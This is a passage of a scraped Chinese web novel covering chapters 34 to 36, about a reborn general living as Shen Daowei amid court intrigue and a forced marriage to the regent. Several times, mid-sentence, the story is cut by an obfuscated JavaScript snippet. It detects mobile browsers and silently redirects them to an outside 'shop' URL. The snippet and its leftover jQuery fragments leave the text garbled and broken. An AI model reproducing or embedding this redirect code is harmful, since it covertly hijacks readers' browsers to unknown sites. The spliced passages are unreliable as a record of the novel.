叶袭宸来了兴趣,她抱着胳膊,下巴微抬:“什么情况,说说吧。” “有什么好说的。”沈言商没好气道:“如果要跟这个人共事的话,恕不奉陪。” 说完就头也不回地上了马车,任叶袭宸如何劝说都不肯下来。叶袭宸没有法子,只能让长辞驾着马车送沈言商回去。 眼看着沈言商被马车载得远远的了,叶袭宸才拉了褚梅瑛到一旁,压低了声音道:“你是怎么认识我家四妹的?” “四妹?”褚梅瑛惊讶道:“原来她也是沈府的小姐。”她懊恼地拍了拍额头:“早知如此,我就不去招惹她了。不过我倒是好奇了,沈府的四小姐怎么会隐姓埋名出来做生意呢?” “你的问题倒是不少。”叶袭宸催促道:“先回答我的问题。” 褚梅瑛先是叹了一口气:“这事儿说来话长。”她看了眼街道四处来往的行人,拉着叶袭宸往兰庭戏院内走去:“我们进去再说。” 周盈正在柜台后面扒拉算盘,见叶袭宸来了,笑着颔首示意。叶袭宸微笑着点头回应,心道周盈如今越发不似初见时风情万种的了,一时之间还有些不适应。 叶袭宸与褚梅瑛依旧上了二楼,相对而坐。 褚梅瑛叹了一口气道:“先前我囊中羞涩,迫不得已去沈言商的锦云庄走动了下。” 叶袭宸明白了,所谓走动就是去偷东西去了。 “我原本只是想去偷几两银子去赌坊碰碰运气,将输掉的银子赢回来。”褚梅瑛哭丧着脸:“但是那日我的手实在是太潮了,输了个底朝天。寻思这个锦云庄每日生意那么红火,随便丢个几两银子应该不在乎,结果回去就被沈言商抓了个正着。” 叶袭宸无奈地扶了下额头:“后来呢?” “后来我指定是跑啊。”褚梅瑛说到这里有些洋洋得意起来:“沈言商的几个手下没有一个是我的对手。” 叶袭宸叹了口气。 “你别叹气呀。”褚梅瑛有些自责道:“我知道是我错了,不该偷人家银子,你放心,我会还上的。” “这话对我说没用。”叶袭宸的手搭在了褚梅瑛的肩膀上:“你去和言商好好说道说道,兰庭戏院的未来就交到你的手上了。” ! 褚梅瑛眨了眨眼睛,欲哭无泪:“如今我在她眼中就是一个小偷,方才她全是看在你的面子上才没有将我送去见官。我若是自个儿去找她,今晚肯定就回不来了。” “不会的。”叶袭宸自信道:“言商是个吃软不吃硬的人,你到了锦云庄,见机行事便可。” “不。”褚梅瑛连连摇头后退:“我不去。” 褚梅瑛的态度很是坚决,任叶袭宸如何劝说都不肯出门。即便是叶袭宸生拉硬拽,她也扒着门框不撒手。 在一楼打算盘的周盈见了,满脸好奇:“你们这是做什么?” “周姐姐快来救我。” 褚梅瑛分明能挣脱开叶袭宸,可是唯恐触碰到她身上的伤口,只能哭天抹泪,祈求叶袭宸能够放过她一马。如今见周盈也看到了,就双管齐下了。 “周姐姐,大小姐要拉我去官府。”褚梅瑛编着瞎话,眼泪一颗一颗掉出来:“周姐姐人最好了,快来救救我。” “这……” 周盈有些为难,平心而论,其实她与褚梅瑛并不是很熟络,都是看在叶袭宸的面子上而已。如今两人闹起来了,自己怕是不好插手。万一哪天人家又和好了呢,站哪头都不讨好,还是和稀泥吧。 周盈系谁,人精中的人精。她三步两步上了二楼,沾满脂粉的帕子往叶袭宸脸上一甩,笑意盈盈道:“二位这是何必,有什么话不能坐下来好好说呢?” 眼见两人还在继续僵持,周盈的视线在她们二人的面上扫视,继续笑着道:“大小姐这是何必呢,褚姑娘也要理解下大小姐的苦心,她指定都是为了你好不是吗?” 褚梅瑛嚷了起来:“她不是为了我好呢,她是为了兰庭戏院!”话说出口的瞬间,她急忙捂住了嘴巴。 这下歇菜了,不说的话周老板还能站在自己这一头,说了她指定站叶袭宸那一头了。 果不其然,周盈听了险些两眼都要放光了,她扯住褚梅瑛的胳膊,神情激动道:“既是如此,褚姑娘还磨蹭什么。兰庭戏院的事是大事啊,我们私人的事情都暂时先放到一旁吧。” 叶袭宸十分赞同周盈的话:“周老板说得对,梅瑛,此事本就是你有错在先。退一万步讲,不管有没有兰庭戏院,你都要去向沈言商赔个不是。” “沈言商?” 听到这个名字,周盈的两眼直接闪亮发光。她看了一眼叶袭宸,恍然大悟:“是了,你们二位都姓沈,原来是一家的。” “此话何意?”叶袭宸有些懵,抓着褚梅瑛的力道也不由得松了些。 周盈激动道:“说起锦云庄,帝京无人不知无人不晓。我曾不止一次想要去拜访她,又唯恐自己的身份沾污了言娘子的门楣。”她的神情变得沮丧:“如今我方才得知她原来还是沈府的小姐,这下倒真是不敢登门了。” 叶袭宸松开了褚梅瑛,伸手揽了揽周盈的肩膀。周盈受宠若惊地抬头,手抵在叶袭宸的胸前,下意识就要推拒。 “我又不是男子,别拒绝我的怀抱。” “不。”周盈摇了摇头,眼眶里慢慢蓄起泪水:“我并非是想起了以往被折辱的日子,而是觉得我这副万人骑的身躯很是肮脏,唯恐沾污到了小姐。” 褚梅瑛本来都要趁机逃跑了,她攀着柱子已然爬了一半,悬在中间不上不下的。如今听到了周盈的这番话,实在有些忍不住。 “喂!这家兰庭戏院是你开的,你怎么还会有这种想法?”褚梅瑛的神情有些鄙夷:“若是清白的女子是干净的,被男子沾污了就是肮脏的,试问,究竟是谁肮脏?” 周盈听得有些发愣,一时之间竟忘了拭泪。叶袭宸用衣袖擦去她的眼泪:“梅瑛这番话说得对,你不该这般想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012696|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己。” 周盈苦涩地笑了出来:“先前我面对的都是些来这里寻欢作乐的客人和浓妆艳抹的戏子,我从未觉得有什么低人一等的地方。在我看来,不管是戏子还是客人,都是肮脏的。戏子被千万人骑,客人不也是千万人爬吗?” 叶袭宸微微一笑:“这才是我认识的周盈。” “但自从得知你状元以及沈府大小姐的身份后,我就觉得自己浑身上下都散发着一股子恶臭,任何脂粉都掩盖不了。” 周盈闭了闭眼睛,流下泪来:“我心里清楚,你来此并不是为了寻欢作乐的,而是有大事要做。原本我也觉得没啥,仅仅只是对你起了一层敬意而已。但昨夜你却也把褚姑娘一并带来了。” 褚梅瑛困惑地眨了眨眼:“敢情事情皆因我而起?” “不是。”周盈急切地摇了摇头,随后深深地看着叶袭宸,眼眶红肿:“褚姑娘有难,沈小姐将她安排到我这里来,可见是对我十分信任,或是说已然将我当成了朋友。” 她闭了闭眼睛,泪水再次流下来:“我昨夜将褚姑娘灌醉了,通过只言片语以及近几日城里的风声,我明白了一些事情,心底就更对沈小姐敬佩不已了。”周盈睁开双眸,眼睛湿润晶莹,又在对上叶袭宸的视线后迅速低下头去:“我觉得我配不上与你们称姐道妹。” “不是。”褚梅瑛听到这里再也忍不住了,她直接跳下柱子,“不想和我们称姐道妹,你还想称兄道弟是咋着?” 周盈原本正伤心难过着呢,褚梅瑛这句话却让她破涕为笑。 “要不我干脆给你找根木棍,你直接把我俩都捅了得了。” 这番话实属语出惊人,不仅是周盈带着满脸的泪水愣愣地看着她,就连叶袭宸也不由得意味深长地看了几眼。 “如此说来,你做过不少这档子事儿?” “哼,我捅过不少貌美男子呢。”褚梅瑛洋洋得意。 叶袭宸故意道:“不以为耻反以为荣吗?” “这有啥觉得羞耻的?”褚梅瑛义愤填膺道:“那些男子不也整日吹嘘自己成亲前睡过多少女子吗?他们可以拿这事儿出来炫耀,为何我不行?” 叶袭宸笑了:“说得极是。”她看向周盈,掏出帕子仔细地擦着后者脸上的泪水:“明白了吗?这些都不是你的错。即便你还为此耿耿于怀,那也已然是过去的事情了。往者不可追,无论过去如何,我们都该朝前看。” 周盈感动地点了点头。她其实并非全然听懂,但只要眼前的两人不在乎,自己又有什么必要对过去耿耿于怀呢。 不是太过矫情了吗? “笑一笑。”叶袭宸捏了捏周盈的脸颊:“我最喜欢看你笑的样子,因为你笑起来真的很好看。” 周盈斟酌片刻,微微地弯了弯唇角。 褚梅瑛拍了拍巴掌:“这就对了嘛。” 见二人互相对视,颇有几分含情脉脉的味道,褚梅瑛正想趁机溜之大吉,不料却被早有准备的叶袭宸扯住衣领。 叶袭宸看也未看她,只是道:“别想将这件事糊弄过去。今日你若是不去锦云庄,我指定把你送给姓唐的。” 34. 第 34 章 比起去给沈言商道歉,取得她的原谅,褚梅瑛更不想去蹲唐锶谐的大牢。她鼓着腮帮子瞪着叶袭宸的眼睛,而后者全然一副“你看我敢不敢”的样子。 褚梅瑛屈服了,“我去给言娘子赔不是行了吧。”说完,顺着栏杆一下子从二楼翻了下去。 周盈大惊失色,急忙趴到栏杆上去往下看。却见褚梅瑛稳稳落在地上,安然无恙地走出了兰庭戏院。 周盈松了一口气,回头再看叶袭宸,却见后者脸色苍白,额头上去冒出密密麻麻的汗珠。她急忙扶住叶袭宸,声音里透着急切:“大小姐,你这是怎么了?” 叶袭宸强忍着疼痛:“许是伤口崩开了。” 周盈看向缠绕在她身体两处的纱布,果然不仅是胳膊上还是脖子上,些许血迹已然从里到外慢慢渗透出来。 她急忙把叶袭宸扶到里面躺下,又让人去叫了郎中来。叶袭宸的呼吸有些许急促,苍白的脸色恢复了些红润,却又迅速涨红。 她艰难地喘息着,眼前的视线逐渐变得模糊。眼皮沉重地压下来,意识消失前的一秒,她瞥见若云急哄哄地冲进来。 “杀、杀了她!” 梅三刀的头颅已经悬挂在城门口十几日了,鲜血从被砍断的脖子里流出来,一点一滴地落在地上。每日都有老百姓在城门口围观这颗头颅,他们手里挎着野菜篮子和家里母鸡新下的鸡蛋,本是拿到城里来卖的,此时却一股脑将怨气发泄到这颗头颅上。 纷纷扬扬的野菜和鸡蛋液砸在灰白的头颅上,血污的面庞愈加狼狈。 可见老百姓对梅三刀有多怨恨。 叶袭宸站在城门上,双手负在身后。站在身后的城门守卫很是不解,这位剿匪成功的将军不去金銮殿向皇上复命,在城门楼上逗留是何用意。 然而到了晚上他就明白了。 这一夜与往常的几个夜晚并无任何不同,守卫打着哈欠正欲将城门关了,视线之内却见几道黑漆漆的影子。守卫瞬间清醒了,仔细看去,那些黑漆漆的影子却又不见了。他揉了揉眼睛,叹了口气,肯定是自己这几日神经兮兮的,都出现幻觉了。 然而就当他感叹的时候,一柄锋利的刀刃已经透过门缝朝着他的面部砍来。冰冷的刀锋闪着伶俐的寒光,守卫发现的时候已经来不及了。他眼睁睁地看着刀劈向自己,身体却动弹不得。 说时迟那时快,他感觉到有个人从后面一把揪住了后脖领子,随即一股强大的力道生生将自己拽离了刀下。 守卫惊魂未定,才看清原来救了自己的正是叶袭宸叶将军。在守卫被拽回的同时,叶袭宸的长枪已经迎上了刀锋,直接将持刀人生生逼了回去。 叶袭宸却并不打算放过他们,身体轻快地从城门夹缝中溜出,与城外的持刀人厮杀在一起。 守卫一屁股坐在地上,懵了一会儿才想起来了什么的,跌跌撞撞地爬起来去叫人。 城外寒风萧瑟,清冷的月光下站着两人。一人身着夜行衣,浑身上下都包裹得严严实实的,只留出一双锐利的眸子。 一人手持长抢,面无表情。她并未着盔甲,只是着了一身灰色的常服。头发简单地束起来,看起来只不过像个出来采买的小厮。 “呵!” 黑衣人发出一声长长的冷哼:“没想到叶大将军居然装扮成这副模样。” 叶袭宸同样也是一声冷哼:“你是说书的吗?废话太多了。” “不愧是叶袭宸,能打绝不废话。” 黑衣人刚说完这句话,叶袭宸已经冲了过来。黑衣人自知不是她的对手,退后三步后迅速隐入身后的树林中。 唯恐叶袭宸不追一般,黑衣人还挑衅地吹了下口哨:“狗皇帝养出的孬种,丢根骨头都会摇尾巴。” 叶袭宸知道这是激将法,但还是义无反顾地追了出去。她手持长枪在树林里跑得飞快,而那个黑衣人更快。他的轻功极佳,像只灵活的猴子一般在林间上蹿下跳。 叶袭宸逐渐失去耐心,她停了下来,从小腿上摸出一把匕首,对着黑衣人的心窝子就射了出去。 黑衣人似乎也感觉到了出现在背后的杀意,他灵活地避开了匕首,却没有逃过叶袭宸的长枪。 只听砰地一声巨响,黑衣人的肩膀被叶袭宸的长□□穿,并且狠狠地摔在了地上。 “咳咳咳……” 黑衣人痛苦地吐出鲜血,他看着居高临下的叶袭宸:“给我个痛快吧。” 他之所以这样说,就是赌准了叶袭宸不会杀他,否则刚才那一枪自己已经死了。 叶袭宸并未理会他说的话,只是道:“你引我到这里来,是何目的?单纯只是想偷梅三刀的头颅,然后回去供起来吗?” 凤尾山的土匪有种很变态的祭祀仪式。每一任大当家的头颅都要被砍下来当牌位供着,即便是恶臭熏天,苍蝇乱飞也不会丢弃,直到蛆虫将头颅蛀得只剩浊白色的骨头。 “什么梅三刀?”黑衣人困惑地眨了眨眼睛:“我不认识她。” 叶袭宸一下子挑开了黑衣人的遮脸布。 借着昏暗的月光,叶袭宸得以看清黑衣人的面庞。然而在看清的一瞬间,她的头皮仿若一下子全都炸开了,背部密密麻麻地像是有蚂蚁在啃噬一般。 “你是……” 叶袭宸几近失声,她正要上前将黑衣人看得仔细些。黑衣人却从地上抓了一把黄土,直接洒向她的面部。 ! “主子……主子……” 若云的哭声细细碎碎地钻入叶袭宸的脑子,她被吵得心烦,浑身却动弹不得。她想张嘴,却发不出任何声音。 周围不时有人在走动,急匆匆的脚步声像是发生了什么大事一般。绸帘不时被人挑起,珠子碰撞的声音破碎且颤抖。她的听觉被无限放大,甚至连水在盆子里晃荡的声音也能听得到。她的嗅觉也被无限放大,能清晰地闻到飘荡在空气里的那股子血腥的味道,浓稠得想让人呕吐。 “道溦……道溦……” 这是唐锶谐的声音。 他来做什么? 是想亲眼看着自己咽气才甘心是吗? 叶袭宸十分生气,她张牙舞爪地挥舞着双拳,只想打花他那张俊俏的面庞,看着他七窍流血而死。 ! 叶袭宸猛地睁开双眼,直接从床上坐了起来,大 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她苍白地笑了笑:“自然是为成亲做准备。” 唐锶谐神情微怔。 面上透着几分虚弱,叶袭宸继续道:“想买些胭脂水粉和布匹绸缎,也想为摄政王挑些喜欢的礼物,到时风风光光地出嫁。” 唐锶谐垂下眸子。 “亲手挑选的礼物才有心意。”叶袭宸真诚地笑着:“摄政王已经包容了我很多,我也想为摄政王做些事情。只可惜我不像叶将军那般可以上阵杀敌,也不像宋相那般指点江山,更无法像长公主一般……” “道溦。”唐锶谐出声轻轻打断了她,他抬起眼睛,里面盛着些许复杂:“你是在埋怨我吗?” 以上三人,都是因他才直接间接或死或疯。 叶袭宸摇了摇头:“非也。只是有感而发,我空有状元之名,却难成就一番大事。只能做这些琐碎事情,可如今的状况看来,我的身子却是连这些琐碎事情也做不了了。” “道溦……” “我这副身躯,怕是难为你唐家生下一儿半女。” 唐锶谐屏住了呼吸。 然而叶袭宸却是什么话也没说,既没有说想悔婚的话,也没有让他在成亲后再娶一门。 唐锶谐松了一口气,“你好生休息吧,我明日再来看你。” 唐锶谐走后,若云连滚带爬地扑到叶袭宸的床边,紧张道:“主子!” “慌什么?褚梅瑛被抓起来了?” 若云摇头:“没有,只是主子……” “你问我为何故意激他走?”叶袭宸躺回到床上,盯着上头的床帘:“我若是不激他走,他又要说些黏糊糊的话来了。” 若云愣在了原地:“主、主子……” 叶袭宸不想再隐瞒了:“若云,实话实说,我看见他含情脉脉的样子就觉得恶心。” “主、主子对摄政王……” 叶袭宸深深吸了一口气:“若云,你说我有没有可能被鬼上身了?” 35. 第 35 章 第35章 清晨,温暖的阳光洒进暖雪阁。院内的花草生长得极旺,枝叶上滚动着晶莹的露珠。叶袭宸叫人搭了个秋千,此时正坐在上面轻轻晃着。 自前几日她晕倒后,唐锶谐似是受了什么刺激一般,整日在她面前晃悠,净给她添堵。先前只是偶尔出现,叶袭宸还能演个戏,如今无时无刻不在她眼前出现,她已经笑得脸盘子都僵硬了。 譬如此时此刻,那厮正坐在石桌前品着若云为她泡好的茶水。一板一眼的动作,赏心悦目的容颜,这副画面本应是让她上火的程度,但在如今的她看来,手竟有些痒痒。 但她还没忘记自己如今是沈道溦,而且还手无缚鸡之力。 说起这个,叶袭宸便气不打一处来。养了几个月的身子,如今算是白搭了。她如今稍微运动一下,喉头便会涌上一股腥甜。 都是褚梅瑛那个家伙害的。 叶袭宸心头烦闷,特别是昏迷时想起前世某些事情后就愈加烦闷了。原来褚梅瑛是认识梅三刀的,甚至不惜来抢她的头颅回去。 这个撒谎成性的东西! 原本叶袭宸还以为是交到了一位朋友,没想到竟是如今这般景象。但话又说回来,她自己也有所隐瞒。若非如此,就凭着自己与梅三刀之间的仇恨,她早就先下手为强,先行一步除掉褚梅瑛了。 思及此处,她又想起周盈。既然褚梅瑛都能谎话成篇,那么周盈呢?且不谈前世如何,单就今生而言。起初第一次见面,周盈便给她设套,非要她与兰庭戏院绑定不可,大抵是早知自己的身份了。 后来去沈府只是求证自己的身份。若是真的,她便可以此威胁。试想,沈府的千金与少爷都曾出入过兰庭戏院。无论是千金还是少爷,在如今的大衍,都将成为众矢之的。但她不曾想到的是,自己居然带了褚梅瑛过来。 她便以退为进,用自己悲惨的身世来博取她们二人的同情,以此来加深彼此的感情。更是借此来让自己处于弱势地位,告诉她们她是个亟需拯救的女子。只有这样,她们才会对她毫无防备。 不得不说,周盈是极为聪慧的,她知道在一段关系中将自己摆在什么地位才是最有利的。 叶袭宸重重叹了一口气。 自己对于这等耍心计的事情,果然还是不太擅长。比起勾心斗角,她其实更愿意摆鸿门宴,直接一口毒酒了事。要不就是直接领兵逼宫,一刀给个痛快。 前世有花疏玉帮衬着自己,她可以肆无忌惮地胡作非为。自从花疏玉死了之后,自己就如同失去了脑袋,只知道胡乱挥舞着手脚。有些事情总是后知后觉,或者直到脑袋搬家后才知道何人是真心。今生自己无权无势,更无兵马,就更是难上加难了。 思及此处,叶袭宸又是叹息一声。 秋千已经停下许久了,但她已然忘记了重新荡起来。恰在此时,一阵阵微风吹来,树叶子被吹得簌簌作响。肩上覆上来一只手,坚实有力。 叶袭宸抬头,唐锶谐那张脸便映入眼帘。 唐锶谐的一双眸子满是柔情:“有何烦心事?不妨与我说道说道。” 叶袭宸直勾勾地看着唐锶谐,唐锶谐情不自禁地错开视线,看向别处:“你看着我作甚?” 叶袭宸勾了勾唇角:“都快要成亲的人了,看两眼又如何?” 这番话有没有取悦到唐锶谐她不知道,倒是自己先把自己恶心到了。 唐锶谐轻轻咳嗽了两声,没有言语,只是重新回到桌前喝茶去了。叶袭宸撇嘴,前世的话她也说过类似的,当时唐锶谐的脸色可是难看得紧,险些就要拔剑相向了。 前世她是抱着调戏的心思说的,不成想却在今生看到了自己想要看到的。叶袭宸轻哼一声,还不如直接拔剑相向呢。 “可查到那日在大街上行凶的人了吗?” 唐锶谐的神色已经恢复了些许正常:“已经有了些许线索。” 这句话说得模棱两可,叶袭宸追问道:“什么线索?” 唐锶谐的视线看过来:“许是叶袭宸的旧部,找我来寻仇的。” “……” 叶袭宸险些被清风呛到,有些不敢置信道:“什么?” “当日劫持你的乃是凤尾山上的土匪头目梅三刀,当年叶袭宸用金蝉脱壳之计留了她一命,自此后她就为叶袭宸卖命了。” 叶袭宸皱眉。 这厮倒真是无孔不入,什么事情都能扯到自己身上来。 “何为金蝉脱壳之计?当时土匪头目梅三刀的头颅可是悬挂在了城门上一月之久,全城老百姓都有目共睹。” “谁又真正见过梅三刀,谁又能证明那就是梅三刀?” 唐锶谐这两句反问很是有意思,虽不无道理,但却是无稽之谈。 叶袭宸又想起褚梅瑛来,倘若她那张脸不是与梅三刀如出一辙,凤尾山上的残匪如何会听命于她? 不对。 叶袭宸的思绪不由得发散起来。 或许褚梅瑛就是梅三刀。 当年被她斩杀的梅三刀是旁人易容而成的。 见叶袭宸陷入沉思,唐锶谐以为她是被自己问僵住了,借机又道:“叶袭宸此人柔奸成性,为了自己的野心,连嗜杀成性的土匪都可收归麾下。道溦,你万不可再为其打抱不平了。” 又来了。 唐锶谐寻机就在沈道溦面前编排自己,活像是胡乱吃飞醋的小人一般。表面看是威风凛凛的大将军,大权在握的摄政王,实际心眼比针孔都小。等哪一日他虎落平阳了,把他收入自己的后宫当个怨夫倒是不错。 对于他这种早已在战场上看淡生死的人来说,死并不是最可怕的。只有打断他的骨头,敲碎他的膝盖,折辱他的灵魂,才是最为其所不能忍受的。 见叶袭宸直勾勾地看着自己,唐锶谐心底涌上来一股子说不出的违和感。换作平常,她早就与自己争论一番了。 许是她被自己说服了。 唐锶谐这般安慰自己,他又扯了别的话头过来:“沈星月回来后,可曾为难于你?” “这话说得。”叶袭宸笑着反问道:“倘若你的武功被尽数废了,你会憎恨吗?” 唐锶谐讪讪地笑了一声:“的确如此。倘若我的武功被旁人废除了,即便千难万难,我也会杀了那个人泄愤。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17032145|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶袭宸不置可否。 唐锶谐倏然道:“你是不是希望我如此说?” 叶袭宸有些意外地挑了挑眉:“难道你不是如此想?” “倘若武功被废,那便是我的劫数。废我武功的那人不过是被安排来的,我又为何要憎恶于他。” 叶袭宸觉得有些好笑:“既是如此,废太子因梁王而死,也是他的劫数吗?” 唐锶谐平静地看着叶袭宸。 每次都是这般,她总是喜欢拿废太子来刺激自己。 叶袭宸下了秋千,头也不回地回了屋。若云追了上去,末了又出来:“摄政王,主子心情欠佳,还望摄政王莫要与主子一般计较。” “我再与她计较又能计较什么呢?”唐锶谐有些苦涩地勾了勾唇角。 若云哑口无言,只能扯了扯唇角。 唐锶谐叹息一声:“告诉你家主子一声,我明日会再来的。”顿了顿,他有些意味深长道:“莫要让你家主子乱跑。” “是。” 这句话的深意若云听明白了。待唐锶谐走后,她迅速回了屋,还未曾开口,叶袭宸便轻飘飘道:“他走了?” 若云撇撇嘴:“主子那样待摄政王,摄政王还不走吗?” “他说明日还来?” “是。” 叶袭宸啧了一声:“真是阴魂不散。” 若云叹了一口气:“主子,都快要成亲的人了,你就莫要对摄政王心怀芥蒂了。” “我又不是时时对他心有芥蒂。”叶袭宸翻开一本书册:“倘若他不整日在我面前晃悠,我倒是愿意给他个好脸色的。” “成亲之后是要日日夜夜相处在一起的,怎可不……” 若云又开始了,叶袭宸只觉得头脑嗡嗡作响,但却没有反驳。 毕竟若云都是为了自己着想。 叶袭宸翻着书册,这是一本诗集,作者全都是佚名。她上下看着,不住地点头。 若云以为自家主子终于听进去了,很是欣慰:“我去给主子做些好吃的来。” 将诗集翻了将近半个时辰后,若云准备好了饭菜。叶袭宸一面捧着诗集一面吃着饭,若云笑得十分开心。 主子总算是恢复原先的一点样子了。 吃过饭后,叶袭宸又叫若云准备了笔墨,开始练起字来。前世她写的字倒是不丑,但是龙飞凤舞的,十分潦草嚣张,比不得沈道溦的工整典雅。练完字后,她又开始作画。 一连几日都是如此。 或许在若云看来,这是她恢复本心的行为。但在此时的叶袭宸看来,她只是想平静自己的内心而已。 前世自己身体强壮,想发泄情绪就找人打架,尽情释放自己的力量,挥洒自己的汗水。但如今这具身子不济,只能通过这种方式来发泄了。 叶袭宸挥舞着毛笔,白纸上留下浓重的墨渍,几乎要穿透纸张。 “听说近日沈大小姐回归本心了,我来看一看。” 未闻其人先闻其声。 一道有些欢快的声音,还带着些许幸灾乐祸看热闹的意味。 叶袭宸抬眼,果不其然,正是那楚无暇。 36. 第 36 章 “你怎么来了?” 叶袭宸继续在桌前挥洒笔墨,楚无暇手持折扇在她的身后慢吞吞踱步,脸上带着些许笑意:“你莫不是忘记了,明日就是你与摄政王成亲的日子了。” 叶袭宸顿了一下,墨水在白纸上浸染出一大片墨渍。她将纸团成一团扔掉了,换了一张新的继续。 “你不说我倒的确是忘记了。” “你在写些什么?” 楚无暇凑上前来看叶袭宸纸上的字。字迹清秀工整,甚是赏心悦目。他禁不住将其中的一句诗念出来:“风催人面老,云替眉峰雪。”末了还不忘点评道:“好苍凉的一句,有几分沈道溦的味道了。” 叶袭宸放下笔,深深地看着楚无暇:“你帮我做一件事。” “愿意为小姐效劳。”楚无暇微微颔首。 “帮我做块墓碑。” “墓碑?”楚无暇心内闪过一丝了然,却依旧是问了出来:“谁的墓碑?” “我的墓碑。”叶袭宸轻轻道:“这段日子我想了许多,最后想到的是我前世的尸体,怕是得不到妥善安置。” “自然。”楚无暇平静道:“一个乱臣贼子的尸体,怕是只会落得被丢到乱葬岗,被野狗餐食的下场。”他捏紧了扇柄,微微皱眉:“你是要给自己立个墓碑?” 叶袭宸没有说话,因为她也没有答案。 楚无暇见状,也不再说些什么。他很快出去,又很快进来了,手里还拿着一块木板子。 “你若是想要个好的,还是去找摄政王吧,我只能找到这个。” 叶袭宸接过木板,蘸了墨汁,却迟迟没有写下名字。她沉默片刻,“再去找我找一块。” 楚无暇已经开始抱怨了:“这等苦差事你缘何要折腾我,沈府的下人又不是都死绝了。”他已经在椅子上坐下,开始品茶了。 叶袭宸远远地看了他一眼。 楚无暇的茶水已经到了嘴边,却不敢咽下去。他只得放下茶杯,妥协道:“我去……我去总行了吧。” 楚无暇很快又找来一块木板,叶袭宸这下不用思考该写谁的名字了。等把墓碑交给楚无暇的时候,后者瞪大了双眼。 一块写着叶袭宸之墓,一块写着沈道溦之墓。 楚无暇百思不得其解:“这是为何?” “写叶袭宸,是想告诉我自己,不能再意气用事,要学会阴谋诡计,无所不用其极。”叶袭宸平静道:“写沈道溦,是我对她的亏欠。我将用她的躯体做些她生前不会做的事情,活得不像她。” 楚无暇叹了一口气:“明白了。” 叶袭宸叫楚无暇把两块墓碑都钉在了后院的空地上,没有什么坟包,只有两块光秃秃的木板子。楚无暇一边拿着榔头敲一边抱怨:“搞什么莫名其妙的事情,师姐的法术是不是退步了,借尸还魂回来的真的是叶袭宸吗?这么优柔寡断,哪里像杀伐果断的活阎王。” 楚无暇越想越憋屈:“没想到立志成为一个有名谋士的我今日居然在这里钉墓碑。” 他的力气越来越大,声音也愈来愈响。刚从外面办完事情的若云听到了,就跑到后院来看。瞥见墓碑上的字后,她顿时气不打一处来:“你这个坏家伙,又在这里诅咒我家主子是不是!” 若云随手抄起一旁的扫把就朝楚无暇打过去。楚无暇微微一怔,这个画面怎么有些似曾相识。然而已经由不得他多想了,若云的扫把已经打过来了。 楚无暇躲避着:“若云姑娘,你怎么一见了我火气就这么大?” 若云一边打一边骂:“你这个登徒子就没做过什么好事。” 楚无暇仔细一想,似乎确实如此。难怪若云左右看他不顺眼,寻机就要打要骂。但他又很是不平,明明那个叫褚梅瑛的比他更过分。 他立即嚷了起来:“你惯会欺负我,怎么不见你拿了扫把去打那个褚梅瑛。” “你怎知她没有打?” 叶袭宸勾唇走了过来,抢过若云的扫把,“若云可是谁都敢打。” 楚无暇反问道:“那她敢打摄政王吗,敢打皇上吗?她这分明就是仗势欺人。” 若云十分不服气,指了指立着的两块墓碑:“摄政王和皇上才不会像你这般不着调,诅咒我家主子。” 叶袭宸走过去捡起地上掉落的榔头,用力敲了下去:“这是我让他钉的。” ! 若云目瞪口呆,楚无暇得意道:“听到了吧,若云姑娘。” “小姐……”若云欲言又止。 “帮我弄些酒菜来。” 若云只道:“是。” 此时天色渐暗,冷冷的月光洒满了后院。叶袭宸将酒菜摆在两块墓碑前,什么话也不说,只是倒酒,然后将酒洒在墓碑前,如此循环往复。 楚无暇凑到了若云身旁,压低了声音,带着几分幸灾乐祸:“姑娘,你家主子莫不是疯了。” 若云同样压低了声音:“疯了也是因为你!” 明日就是成亲大典,若云方才已经准备好了相关事宜。她担忧地看着几乎要与夜色融为一体的叶袭宸,眉头几乎拧成了疙瘩。 墓碑上的字她认不全,但有些人的名字是刻入骨髓的。两块写有沈道溦和叶袭宸的墓碑并列在一起,有种说不出的诡异。 叶袭宸的肩膀开始耸动。 若云沉默着走上前,话未开口眼泪已经落下来:“主子……” 寻常女子出嫁前一晚,都有家人千叮咛万嘱咐。如今轮到自家主子,老爷却连面也不露。 若云安慰道:“主子莫要伤心,待明日梳洗完毕,老爷会来看你的。” 若云是这么想的,楚无暇想的却是另外一回事。早在前几日,宫里就传来消息。听说皇上醒了,却对相亲宴会那日的事情闭口不提。当听闻沈府因此获罪,沈秋实被押入死牢后,居然大为吃惊,甚至不惜在朝堂上呵斥摄政王大题小做。因此沈秋实被放出,沈府恢复以往的盛况。 叶袭宸属于是白忙活一场。 偏偏那几日她还尚在养病,什么事情都做不了。这种无力感,属实是让叶袭宸接受不了的。 然而此时的叶袭宸想的却不仅仅是这些。 褚梅瑛和沈言商的关系是否缓解,兰庭戏院能否重整旗鼓。 一个个问题盘旋在叶袭宸的脑海里,她的脑子有些疼痛。 倘若自己依旧如前世那般手握兵权…… 叶袭宸倏地摇了摇头。 停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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彼时叶袭宸双手环胸靠在粗壮的树干上,一袭宽大的淡紫色衣裙被微风轻轻吹着。红色的丝带在头顶摇晃着,她的神情却有些玩味。 瞧见沈道溦来了,她首先开口,语气极为慵懒:“方才在寺庙门口,多谢沈状元仗义执言。” 